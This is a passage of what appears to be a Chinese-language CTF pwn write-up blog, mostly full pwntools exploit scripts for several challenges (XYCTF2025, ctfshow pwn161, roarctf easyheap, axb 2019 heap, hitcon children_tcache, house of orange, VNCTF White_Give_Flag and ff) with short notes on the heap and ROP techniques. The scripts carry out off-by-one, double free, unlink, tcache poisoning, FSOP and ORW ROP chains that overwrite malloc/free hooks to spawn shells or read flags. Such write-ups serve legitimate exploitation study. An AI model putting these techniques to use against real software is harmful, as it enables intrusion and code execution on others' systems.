\u0026#34;catch syscall execve\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;gz.imxbt.cn\u0026#34; port = 20742 global io,gdb_io elf = ELF(binary_path) libc = ELF(\u0026#34;./libc\u0026#34;) def connect(isLocal,isGDB,isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid,gdb_io) = gdb.attach(io,gdb_script,api=True) return io,gdb_io else: io = gdb.debug(binary_path,gdb_script) return io else: io = process(binary_path) return io def leak(addr): io.sendlineafter(\u0026#34;chose\u0026#34;, str(1)) io.sendlineafter(\u0026#34;what you want do?\\n\u0026#34;, str(addr)) addr = u64(io.recv(6).ljust(8, b\u0026#34;\\x00\u0026#34;)) log.success(f\u0026#34;leak_setvbuf:{hex(addr)}\u0026#34;) return addr def edit(addr, data): io.sendlineafter(\u0026#34;chose\u0026#34;, str(2)) io.sendlineafter(\u0026#34;what you want do?\\n\u0026#34;, str(addr)) io.sendafter(\u0026#34;read you want\u0026#34;, data) def write_addr(target, addr): edit(target, p32(addr\u0026amp;0xFFFFFFFF)) edit(target+4, p32(addr\u0026gt;\u0026gt;32)) def attack(io,offset): io.recvuntil(\u0026#34;rbp + offset:\u0026#34;) addr = eval(io.recvline()[:-4]) rbp = addr - offset log.success(f\u0026#34;leak_rbp:{hex(rbp)}\u0026#34;) io.sendline(str(2)) edit(rbp-(0x8040-4), p32(0xffffffff)) setvbuf_addr = leak(elf.got[\u0026#39;setvbuf\u0026#39;]) #leak libc libc_base = setvbuf_addr - libc.symbols[\u0026#39;setvbuf\u0026#39;] #edit(elf.got[\u0026#39;sleep\u0026#39;], p16(0x101a)) #修改sleep为ret使其通过seccomp write_addr(elf.got[\u0026#39;sleep\u0026#39;], 0x40101a) #构造ROP链 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_pop_rbx = libc_base + 0x904a9 open = libc_base + libc.symbols[\u0026#39;open\u0026#39;] read = libc_base + libc.symbols[\u0026#39;read\u0026#39;] write = libc_base + libc.symbols[\u0026#39;write\u0026#39;] flag_addr = 0x404200 buf_addr = (rbp\u0026gt;\u0026gt;12)\u0026lt;\u0026lt;12 pathname = flag_addr flag = 0 target = rbp + 0x8 ROP = [ pop_rdi, pathname, #pathname pop_rsi, flag, #flag open, #call open pop_rdi, 3, #fd pop_rsi, buf_addr, #buf pop_rdx_pop_rbx, 0x100,#len 0, read,#call read pop_rdi, 1, pop_rsi, buf_addr, pop_rdx_pop_rbx, 0x100, 0, write, ] write_addr(flag_addr,int.from_bytes(b\u0026#34;/flag\\x00\u0026#34;, \u0026#39;little\u0026#39;)) #flag地址 for i in ROP: write_addr(target, i) target = target + 8 edit(rbp-(0x8040-4), p32(0x000000000)) pause() io.interactive() if __name__ == \u0026#34;__main__\u0026#34;: io = connect(False,True,False) p = process(\u0026#34;./nailong_patched\u0026#34;) p.recvuntil(\u0026#34;rbp + offset:\u0026#34;) offset = int(eval(p.recvline()[:-4])/2) log.success(f\u0026#34;offset:{hex(offset)}\u0026#34;) p.close() attack(io,offset) 可以直接在IDA里对程序进行patch\nheap2 ","date":"2025-04-09","draft":false,"permalink":"/posts/xyctf2025-pwn%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/","section":"CTF 复现","summary":"最近时间真的不太够用，所以WP出来后第一时间赶紧复现。 这次比赛还是遇到很多不会的题，总结来说还是刷题刷少了，不是想不到，而是根本没遇到过；感觉在我知识范围内的还是都能做。 为什么说是部分复现呢？因为不想碰mi…","tags":[],"title":"XYCTF2025 PWN部分复现"},{"content":"pwn161 glibc 2.23\n通过代码审计发现edit函数中当输入size - chunk_size = 10时，可以触发offbyone漏洞多读入1字节。\n通过off by one，可以造成堆块重叠，进而可以打unsorted bin leak泄露malloc_hook地址 \u0026amp; libc基址\n后续打fast bin attack可以劫持malloc hook\nimport LibcSearcher from pwn import * from LibcSearcher import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 0 if local == 0: io = remote(\u0026#34;pwn.challenge.ctf.show\u0026#34;,28259) else: io = gdb.debug(\u0026#39;./pwn\u0026#39;, \u0026#39;b *$rebase(0xc5e)\u0026#39;) elf = ELF(\u0026#39;./pwn\u0026#39;) libc = ELF(\u0026#39;/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so\u0026#39;) def add(size): io.sendlineafter(\u0026#34;Choice\u0026#34;,b\u0026#39;1\u0026#39;) io.sendlineafter(\u0026#34;size\u0026#34;,str(size)) def edit(index, size, content): io.sendlineafter(\u0026#34;Choice\u0026#34;,b\u0026#39;2\u0026#39;) io.sendlineafter(\u0026#34;index\u0026#34;,str(index)) io.sendlineafter(\u0026#34;size\u0026#34;,str(size)) io.sendlineafter(\u0026#34;content\u0026#34;,content) def free(index): io.sendlineafter(\u0026#34;Choice\u0026#34;,b\u0026#39;3\u0026#39;) io.sendlineafter(\u0026#34;index\u0026#34;,str(index)) def show(index): io.sendlineafter(\u0026#34;Choice\u0026#34;,b\u0026#39;4\u0026#39;) io.sendlineafter(\u0026#34;index\u0026#34;,str(index)) add(0x18) #0 add(0x10) #1 add(0x100) #2 add(0x10) #3 防止被合并 edit(0, 0x18+10, cyclic(0x18) + b\u0026#39;\\x51\u0026#39;) #此时chunk1 size = 0x51 edit(2, 0x30,cyclic(0x20) + p64(0) + p64(0x21)) free(1) #chunk1 进入fast bin free时会对next chunk的size位检查 add(0x40) #申请到chunk1 edit(1, 0x20, b\u0026#39;\\x00\u0026#39;*0x10 + p64(0) + p64(0x111)) free(2) show(1) io.recvuntil(b\u0026#39;content: \u0026#39;) io.recv(32) unsorted_bin = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) malloc_hook = unsorted_bin - 0x68 libc_base = malloc_hook - libc.sym[\u0026#39;__malloc_hook\u0026#39;] ogg = libc_base + 0x4527a print(hex(unsorted_bin)) add(0x100) #申请到chunk2 payload = cyclic(0x60) + p64(0) + p64(0x71) edit(2, len(payload), payload) #为fastbin attack做准备 进入fast bin free时会对next chunk的size位检查 edit(1, 0x20,b\u0026#39;\\x00\u0026#39;*0x10 + p64(0) + p64(0x71)) free(2) payload = cyclic(0x10) + p64(0) + p64(0x71) + p64(malloc_hook-0x23) #fd edit(1,len(payload),payload) add(0x60) #2 pause() add(0x60) #申请到malloc_hook处 4 payload = cyclic(0x13) + p64(ogg) edit(4, len(payload), payload) add(0x10) io.interactive() 总结\n堆块重叠构造fake chunk时，对其进行free进入fastbin时会check next chunk的size位进行检查，所以需要注意构造 申请fastbin中的chunk时也会对chunk size进行check，所以一定要符合对应fast bin大小 b $rebase(offset) 可以在开启PIE偏移情况下打断点 进行堆块重叠操作之前注意规避consolidate(添加gap) calloc会清空chunk内容，其底层依旧是调用malloc roarctf 2019 easyheap (double free/house of spirit) glibc 2.23\n没有edit功能造成了很大的不便\n此处实现double free的精髓在于通过切割unsorted bin中的chunk进入fast bin中\nfrom pwn import * import os context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; domain = \u0026#34;pwn.challenge.ctf.show\u0026#34; port = 28259 if local == 0: io = remote(domain,port) else: io = gdb.debug(binary_path, \u0026#34;b *0x400A40\u0026#34;) elf = ELF(binary_path) libc = ELF(\u0026#34;/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so\u0026#34;) def add(size, content): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, b\u0026#34;1\u0026#34;) io.sendlineafter(b\u0026#34;input the size\u0026#34;, str(size)) io.sendlineafter(b\u0026#34;please input your content\u0026#34;,content) def add2(size, content): io.sendline(b\u0026#34;1\u0026#34;) io.sendline(bytes(str(size),encoding=\u0026#39;utf-8\u0026#39;).ljust(7,b\u0026#39;\\x00\u0026#39;)) io.sendline(content) def delete(): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, b\u0026#34;2\u0026#34;) def delete2(): io.sendline(b\u0026#34;2\u0026#34;) def show(): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, b\u0026#34;3\u0026#34;) def show2(): io.sendline(b\u0026#34;3\u0026#34;) def secret(number): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, b\u0026#34;666\u0026#34;) io.sendlineafter(b\u0026#34;build or free?\\n\u0026#34;,str(number)) if number == 1: content = cyclic(0x10) io.sendlineafter(b\u0026#39;please input your content\\n\u0026#39;,content) def secret2(number): io.sendline(b\u0026#34;666\u0026#34;) io.sendline(bytes(str(number),encoding=\u0026#39;utf-8\u0026#39;).ljust(7,b\u0026#39;\\x00\u0026#39;)) if number == 1: content = cyclic(0xa0-1) io.sendline(content) def attack(): username = 0x602060 info = 0x6020a0 buf = 0x602088 deadbeaf = 0x602090 ptr = 0x602098 size = info - username print(\u0026#34;offset \u0026#34;, hex(size)) io.sendlineafter(b\u0026#34;please input your username:\u0026#34;, p64(0) + p64(size) + p64(username)) io.sendlineafter(b\u0026#34;please input your info:\u0026#34;, p64(0) + p64(size+1) + b\u0026#34;\\x00\u0026#34;*5 + p64(0x71)) secret(1) #malloc 0xa0 secret(2) #free 0xa0 进入 unsorted bin add(size-0x10,cyclic(size-0x10)) #malloc 0x30从Unsorted bin中切割 add(size-0x10,cyclic(size-0x10)) #malloc chunk1 delete() #free chunk1 secret(2) #free chunk0 delete() #free chunk1 double free payload = p64(username).ljust(size-0x10,b\u0026#39;\\x00\u0026#39;) add(size-0x10,payload) add(size-0x10,cyclic(size-0x10)) add(size-0x10,cyclic(size-0x10)) payload = p64(username).ljust(0x18,b\u0026#39;\\x00\u0026#39;) + p64(elf.got[\u0026#39;puts\u0026#39;]) + p64(0xDEADBEEFDEADBEEF) add(size-0x10,payload) #申请到fake chunk show() io.recvuntil(b\u0026#34; \u0026#34;) puts_addr = u64(io.recv(0x6).ljust(8,b\u0026#39;\\x00\u0026#39;)) base_addr = puts_addr - libc.sym[b\u0026#39;puts\u0026#39;] malloc_hook = base_addr + libc.sym[\u0026#39;__malloc_hook\u0026#39;] print(\u0026#34;malloc hook: \u0026#34;, hex(malloc_hook))#泄露libc ogg = base_addr + 0x4525a io.sendline(b\u0026#39;666\u0026#39;) secret2(1) add2(0x50, cyclic(0x50)) #gap防止合并 secret2(2) #进入unsorted bin add2(0x60,cyclic(0x60)) add2(0x60, cyclic(0x60)) delete2() secret2(2) delete2() payload = p64(malloc_hook-0x23).ljust(0x60,b\u0026#39;a\u0026#39;) add2(0x60,payload) print(\u0026#34;----------------------\u0026#34;) add2(0x60,cyclic(0x60)) add2(0x60,cyclic(0x60)) payload = cyclic(0x13) + p64(ogg) add2(0x60,payload) pause() add2(0x10,cyclic(0x10)) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: attack() 总结\n完成double free的适用情况： fast bin中有两个不同chunk，且其中一个存在UAF 申请到malloc hook - 0x23是因为该处刚好有0x7f/0x7a作为首地址。经过观察与测设，该地址附近没有以0x6*、0x5*等其他首地址作为size利用的可能，所以当使用fast bin attack劫持malloc hook时，一定要注意size为0x70，才能成功申请 在做这道题踩坑的同时发现，当没有edit功能却能够在malloc时修改chunk的情况下，通过对fast bin中fd修改为环，自身指向自身能够做到用malloc替代edit，做法就是一直malloc一直edit 填充payload非必要情况下别用\\x00，会造成很多麻烦 在关闭输出，无法根据目标程序反馈进行攻击时，多注意sendline末尾的\\n等字符，多注意目标程序所用输入函数逻辑，否则会很麻烦 free()会检查地址是否对齐（杜绝自然形成的0x7f），会检查next size，malloc()则没有那么多限制 axb 2019 heap (off by one/unlink) glibc 2.23\n头一次用上了结构体/数组逆向trick\n伪代码指针太复杂看不懂可以直接上手动调\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;\u0026#34; #gdb_script += \u0026#34;b *$rebase(0xae5)\\n\u0026#34; #b banner #gdb_script += \u0026#34;b *$rebase(0xce3)\\n\u0026#34; #b add gdb_script += \u0026#34;b *$rebase(0xf88)\\n\u0026#34; #b delete gdb_script += \u0026#34; catch syscall execve\\n\u0026#34; domain = \u0026#34;\u0026#34; port = 28259 if local == 0: io = remote(domain,port) else: io = gdb.debug(binary_path, gdb_script) elf = ELF(binary_path) libc = ELF(\u0026#34;/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so\u0026#34;) def add(index, size, content): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;Enter the index you want to create (0-10):\u0026#39;, str(index)) io.sendlineafter(b\u0026#34;Enter a size:\u0026#34;, str(size)) io.sendlineafter(b\u0026#39;Enter the content: \u0026#39;, content) def delete(index): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#34;Enter an index:\u0026#34;, str(index)) def edit(index, payload): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#39;4\u0026#39;) io.sendlineafter(b\u0026#34;Enter an index:\u0026#34;, str(index)) io.sendlineafter(b\u0026#34;Enter the content: \u0026#34;, payload) def format(): def exec_fmt(pad): p = process(binary_path) # send 还是 sendline以程序为准 p.sendlineafter(b\u0026#34;Enter your name: \u0026#34;, pad) p.recvuntil(b\u0026#34;Hello, \u0026#34;) return p.recv() fmt = FmtStr(exec_fmt) offset = fmt.offset print(\u0026#34;offset:\u0026#34;,offset) payload = \u0026#34;%{0}$p%{1}$p\u0026#34;.format(offset+int(0x58/8), offset+int(0x38/8)) io.sendlineafter(b\u0026#34;Enter your name: \u0026#34;, payload) io.recvuntil(b\u0026#34;Hello, \u0026#34;) main_addr = eval(io.recv(0xe)) __libc_start_main_240 = eval(io.recv(0xe)) base_addr = main_addr - elf.symbols[\u0026#39;main\u0026#39;] libc_base = __libc_start_main_240 - libc.sym[\u0026#39;__libc_start_main\u0026#39;] - 240 print(hex(base_addr)) print(hex(libc_base)) return (base_addr, libc_base) def attack(): (base_addr, libc_base) = format() notes_addr = base_addr + 0x202060 add(0, 0x88, cyclic(0x90)) add(1, 0x90, cyclic(0x90)) #准备进行unlink payload = (p64(0) + p64(0x61) + p64(notes_addr-0x18) + p64(notes_addr-0x10)).ljust(0x80, b\u0026#39;a\u0026#39;) #布置fake chunk payload += p64(0x80) payload += b\u0026#39;\\xa0\u0026#39; edit(0, payload) delete(1) #成功unsafe unlink edit(0, payload) malloc_hook = libc_base + libc.symbols[\u0026#39;__malloc_hook\u0026#39;] payload = cyclic(0x10) + p64(malloc_hook) edit(0, payload) ogg = libc_base + 0x4525a payload = p64(ogg) edit(0, payload) add(0, 0x88, cyclic(0x90)) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: attack() 总结\nfmtstr是真爽啊\nhitcon_2018_children_tcache (合并构造overlap/tcache double free) glibc 2.27\n无edit 无UAF 存在off by null\nstrcpy会被\\x00截断造成构造fake chunk困难，无法使用house of einherjar\n以及很棘手的是free时会对chunk内容造成污染，填满0xDA\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 0 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;set debug-file-directory /glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug\\n\u0026#34; gdb_script += \u0026#34;dir /glibc-2.27/malloc/\\n\u0026#34; gdb_script += \u0026#34;show dir\\n\u0026#34; # gdb_script += \u0026#34;b *$rebase(0xc3f)\\n\u0026#34; #b menu # gdb_script += \u0026#34;b *$rebase(0xec9)\\n\u0026#34; #b delete gdb_script += \u0026#34;catch syscall execve\\n\u0026#34; domain = \u0026#34;node5.buuoj.cn\u0026#34; port = 25228 if local == 0: io = remote(domain,port) else: io = gdb.debug(binary_path, gdb_script) elf = ELF(binary_path) libc = elf.libc def add(size, content): io.sendlineafter(b\u0026#34;choice\u0026#34;, b\u0026#34;1\u0026#34;) io.sendlineafter(b\u0026#34;Size\u0026#34;, str(size)) io.sendlineafter(b\u0026#34;Data\u0026#34;, content) def delete(index): io.sendlineafter(b\u0026#34;choice\u0026#34;, b\u0026#34;3\u0026#34;) io.sendlineafter(b\u0026#34;Index:\u0026#34;, str(index)) def show(index): io.sendlineafter(b\u0026#34;choice\u0026#34;, b\u0026#34;2\u0026#34;) io.sendlineafter(b\u0026#34;Index:\u0026#34;, str(index)) def attack(): add(0x420, b\u0026#39;0\u0026#39;) # 必须是非tcache chunk add(0x18, b\u0026#39;1\u0026#39;) add(0x5f0, b\u0026#39;2\u0026#39;) # 必须是 \u0026gt; 0x420 且以 f0结尾 add(0x10, b\u0026#39;3\u0026#39;) delete(0) delete(1) for i in range(9): # 单字节修改prev_size add(0x18 - i, b\u0026#39;a\u0026#39; * (0x18 - i)) delete(0) add(0x18, cyclic(0x10) + p64(0x6a0-0x250)) delete(2) add(0x690-0x250 - 0x20, b\u0026#39;a\u0026#39;) #chunk 1 show(0) unsorted_bin_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) malloc_hook = unsorted_bin_addr - 0x70 libc_base = malloc_hook - libc.symbols[\u0026#39;__malloc_hook\u0026#39;] ogg = libc_base + 0x4f322 add(0x30,p64(ogg)) #chunk2 delete(2) delete(0) add(0x30, p64(malloc_hook)) add(0x30, b\u0026#39;pad\u0026#39;) add(0x30, p64(ogg)) print(hex(libc_base)) io.sendlineafter(b\u0026#34;choice\u0026#34;, b\u0026#34;1\u0026#34;) io.sendlineafter(b\u0026#34;Size\u0026#34;, str(0x30)) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: attack() 总结\n被放入tcache bin中的chunk不能够作为consolidate的目标，否则会报错。这道题里我一直将chunk 0设置为小于0x420的chunk，导致其在被合并时一直报错，浪费了许多时间 同理，这里为什么是大chunk - 小chunk -大chunk的设计？就是因为小chunk无法被合并。尝试过小chunk - 大chunk进行合并，以失败告终 BUUOJ house of orange 2.23\n保护全开，卖欧润吉，有add有show有edit，但是没有free\nedit只能进行3次，并且存在大范围越界写\n可以通过大范围越界写修改top chunk的size，再申请比top chunk大的size将其释放到unsorted bin中，我们就在无free()函数的情况下获得了一个unsorted bin堆块。\n每次执行add()函数会malloc三个chunk，大小分别是0x20, size+0x10, 0x20，在打unsorted bin attack时，当我们将unsorted bin chunk的bk指针覆写为\u0026amp;_IO_list_all-0x10后执行add()，则会先malloc(0x20)，此时会先：\n将chunk从unsorted bin中取出，这一步完成unsorted bin attack，将_IO_list_all覆写； unsorted_chunks(av)-\u0026gt;bk = bck; bck-\u0026gt;fd = unsorted_chunks(av); 判断该chunk为small bin chunk，先放入small bin中 if (in_smallbin_range(size)) // 假如是small chunk。 { victim_index = smallbin_index(size); // 获取small chunk对应的bin的编号 bck = bin_at(av, victim_index); // 将这个bin赋给bck fwd = bck-\u0026gt;fd; // 将这个bin的fd赋给fwd，也就是这个bin的第一个chunk // 这里还没放回去，但是获取到了要放入的small bin的头指针和第一个chunk } glibc继续遍历unsorted bin 由unsorted bin的bk索引到_IO_list_all处，发现这个chunk大小不符合规范，于是进入利用链malloc_printerr() -\u0026gt; __libc_message() -\u0026gt; abort() -\u0026gt; fflush() -\u0026gt; _IO_flush_all_lockp() -\u0026gt; _IO_new_file_overflow()，触发FSOP 3479 if (__builtin_expect (victim-\u0026gt;size \u0026lt;= 2 * SIZE_SZ, 0) 3480 || __builtin_expect (victim-\u0026gt;size \u0026gt; av-\u0026gt;system_mem, 0)) ► 3481 malloc_printerr (check_action, \u0026#34;malloc(): memory corruption\u0026#34;, 3482 chunk2mem (victim), av); exp:\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;node5.buuoj.cn\u0026#34; port = 26589 global io,gdb_io elf = ELF(binary_path) libc = elf.libc def connect(isLocal,isGDB,isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid,gdb_io) = gdb.attach(io,gdb_script,api=True) return io,gdb_io else: io = gdb.debug(binary_path,gdb_script) return io else: io = process(binary_path) return io def add(size, content): io.sendafter(b\u0026#39;choice\u0026#39;, b\u0026#39;1\u0026#39;) io.sendafter(b\u0026#39;Length of name :\u0026#39;, str(size)) io.sendafter(b\u0026#39;Name\u0026#39;, content) io.sendafter(b\u0026#39;Price of Orange:\u0026#39;, str(1)) io.sendafter(b\u0026#39;Color of Orange:\u0026#39;, str(0xddaa)) io.recvuntil(b\u0026#34;Finish\u0026#34;) def show(): io.sendafter(b\u0026#39;choice\u0026#39;, b\u0026#39;2\u0026#39;) def edit(size, content): io.sendafter(b\u0026#39;choice\u0026#39;, b\u0026#39;3\u0026#39;) io.sendafter(b\u0026#39;Length of name :\u0026#39;, str(size)) io.sendafter(b\u0026#39;Name\u0026#39;, content) io.sendafter(b\u0026#39;Price of Orange:\u0026#39;, str(1)) io.sendafter(b\u0026#39;Color of Orange:\u0026#39;, str(0xddaa)) io.recvuntil(b\u0026#34;Finish\u0026#34;) def attack(io): add(0x400, b\u0026#39;\\x11\u0026#39;*0x400) payload = flat( b\u0026#39;\\x22\u0026#39;*0x400, p64(0),p64(0x21), p64(0xddaa00000001),p64(0), p64(0),p64(0xbb1) ) edit(len(payload), payload) add(0x1024, b\u0026#39;\\x00\u0026#39;*0x1000) add(0x400, b\u0026#39;\\x11\u0026#39;*1) show() io.recvuntil(b\u0026#34;Name of house : \u0026#34;) malloc_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - (0x4111-0x3b78) - 0x68 libc_base = malloc_addr - libc.symbols[\u0026#39;__malloc_hook\u0026#39;] log.success(f\u0026#34;malloc_addr: {hex(malloc_addr)}\u0026#34;) log.success(f\u0026#34;libc_base: {hex(libc_base)}\u0026#34;) IO_list = libc_base + libc.symbols[\u0026#39;_IO_list_all\u0026#39;] log.success(f\u0026#34;IO_list: {hex(IO_list)}\u0026#34;) edit(0x10, b\u0026#39;\\x22\u0026#39;*0x10) show() io.recvuntil(b\u0026#34;Name of house : \u0026#34;) io.recv(0x10) heap_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x4b0 log.success(f\u0026#34;heap_addr: {hex(heap_addr)}\u0026#34;) payload = flat( b\u0026#39;\\x11\u0026#39; * 0x400, p64(0), p64(0x21), p64(0xddaa00000001), p64(0), ) fake_file = flat( b\u0026#34;/bin/sh\\x00\u0026#34;,p64(0x61), #fp, size p64(0), p64(IO_list-0x10), #fd, bk p64(2), p64(3), #write_base, write_ptr ) fake_file = fake_file.ljust(0xc0, b\u0026#34;\\x00\u0026#34;) fake_file += p64(0) #_mode fake_file += flat( p64(0),p64(0),#_mode到vtable间0x10 p64(heap_addr+0x9c0),#vtable p64(0)*3,p64(libc_base + libc.symbols[\u0026#39;system\u0026#39;]), #_IO_overflow_t ) payload += fake_file #unsortedbin attack + FSOP edit(len(payload), payload) pause() add(0x10, b\u0026#39;\\x78\u0026#39;*1) #此处会crash因为unsortedbin被破坏，进入利用链 io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(True, False, False) attack(io) VNCTF 2021 pwn复现 White_Give_Flag (越界读写/碰撞) 有沙盒，无法execve，没有开启canary保护\n题目没给libc，应该与libc版本无关\n申请堆块上限4，show()函数打印的是随机数\ninit()函数做了一件事：随机次数申请了随即大小的chunk，每次都会free，每次都会清空堆块中读入的flag，但是最后一次并没有清空，也就是说flag就藏在这些堆块中。\nshow()函数并无卵用，需要寻找其他方式dump flag\n注意到get_int()函数有bug，即返回的index并非我们输入的内容，而是read()函数的返回值，如果能够发送EOF则可以造成返回0\n刚好结合puts((const char *)qword_202120[index - 1]);，可以做到向后越界读，与此同时向后一个字节正好够到chunk ptr的最后一个存储地址。\ndelete()函数并未清除堆块内容，也就是说我们可以尝试反复malloc堆块，只要能够分配到存储flag的chunk就能dump出flag\n存储flag的chunk从0x200 - 0x500范围内，我们只需遍历该区间即可\nfrom pwn import * import tty global io context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#39;\u0026#39; gdb_script = \u0026#34;b *$rebase(0x1145)\\n\u0026#34; #b edit #gdb_script += \u0026#34;b *$rebase(0xec9)\\n\u0026#34; #b delete domain = \u0026#34;node4.buuoj.cn\u0026#34; port = 39123 elf = ELF(binary_path) libc = elf.libc def attack(size): def add(size): io.sendlineafter(b\u0026#34;choice:\u0026#34;, b\u0026#39;\u0026#39;) io.sendlineafter(b\u0026#34;size:\u0026#34;, str(size)) def delete(index): io.sendlineafter(b\u0026#34;choice:\u0026#34;, b\u0026#39;\\x11\\x11\u0026#39;) io.sendline(str(index)) def edit(index): io.sendlineafter(b\u0026#34;choice:\u0026#34;, b\u0026#39;\\x11\\x11\\x11\u0026#39;) io.sendlineafter(b\u0026#34;index:\u0026#34;,str(index)) io.sendlineafter(b\u0026#34;Content:\u0026#34;, cyclic(0x10)) #io = gdb.debug(binary_path,gdb_script) #io = process(binary_path) io = remote(domain, port) add(0x20) add(0x20) add(0x20) #先malloc 3个chunk填满数组 add(size) edit(3) io.recvuntil(b\u0026#34;choice:\u0026#34;) io.shutdown_raw(\u0026#39;send\u0026#39;) message = io.recv() if b\u0026#39;ctf\u0026#39; in message: print(message) exit(0) io.close() if __name__ == \u0026#39;__main__\u0026#39;: i = 0 while True: try: size = 0x300 attack(size + i) i = i + 1 print(\u0026#34;times:\u0026#34;, i) except Exception as e: i = i + 1 print(\u0026#34;times:\u0026#34;, i) 总结\n利用io.shutdown_raw(\u0026lsquo;send\u0026rsquo;)发送EOF，但该管道相当于废弃 要用try:except进行异常处理，否则run不起来，EOF会阻塞程序 ff (tcache异或加密 unsorted bin打stdout泄露libc) glibc 2.32\n保护全开\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;\u0026#34; #gdb_script += \u0026#34;b *$rebase(0xb95)\\n\u0026#34; #b add # gdb_script += \u0026#34;b *$rebase(0xec9)\\n\u0026#34; #b delete #gdb_script += \u0026#34;catch syscall execve\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;node5.buuoj.cn\u0026#34; port = 29836 global io,gdb_io elf = ELF(binary_path) libc = elf.libc def connect(isLocal,isGDB,isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid,gdb_io) = gdb.attach(io,gdb_script,api=True) return io,gdb_io else: io = gdb.debug(binary_path,gdb_script) return io else: io = process(binary_path) return io def add(size, content): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, str(1)) io.sendlineafter(b\u0026#34;Size:\u0026#34;, str(size)) io.sendafter(b\u0026#34;Content:\u0026#34;,content) def delete(): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, str(2)) def show(): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, str(3)) def edit(content): io.sendlineafter(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;, str(5)) io.sendafter(b\u0026#34;Content:\u0026#34;, content) #仅可写0x10 def attack(hit_byte): add(0x80,cyclic(0x80)) delete() show() io.recvuntil(b\u0026#34;\u0026gt;\u0026gt;\u0026#34;) heap_base = u64(io.recv(5).ljust(8,b\u0026#39;\\x00\u0026#39;)) \u0026lt;\u0026lt; 12 log.success(\u0026#34;Heap base address: {}\u0026#34;.format(hex(heap_base))) edit(p64(heap_base \u0026gt;\u0026gt; 12) + p64(0)) delete() #double free target = heap_base + 0x10 payload = p64(((heap_base)\u0026gt;\u0026gt;12)^(target)) edit(payload) add(0x80,cyclic(0x80)) #劫持到tcache struct #struct大小为0x250则counts为char；struct大小为0x290则counts为2字节 payload = p16(8) * 0x27 + p16(8) add(0x80,payload) delete() #释放tcache struct #堆风水 add(0x40,content= p16(0) + p16(1) + p16(0) + p16(1) + p16(0)) add(0x30, content=b\u0026#39;\\x00\u0026#39;) add(0x10,content=p64(0) + p8(0xc0)+p8(hit_byte*0x10+6)) payload = p64(0xfbad1800) + p64(0xfbad1800) * 3 + b\u0026#39;\\x00\u0026#39; add(0x40, payload) libc_base = u64(io.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) - 0x1e4744 add(0x10, p64(libc_base + libc.sym[\u0026#39;__free_hook\u0026#39;])) add(0x70, p64(libc_base + libc.sym[\u0026#39;system\u0026#39;])) add(0x10, b\u0026#39;/bin/sh\\x00\u0026#39;) delete() io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: hit_byte = 1 while True: try: io = connect(isLocal=False,isGDB=True,isIO=False) attack(hit_byte) except Exception as e: print(e) hit_byte += 1 hit_byte = hit_byte % 16 continue 总结\n无法在不使用第二次edit机会的情况下通过tcache touble free进行攻击。因为tcache counts记录了tcache的数量。想要在touble 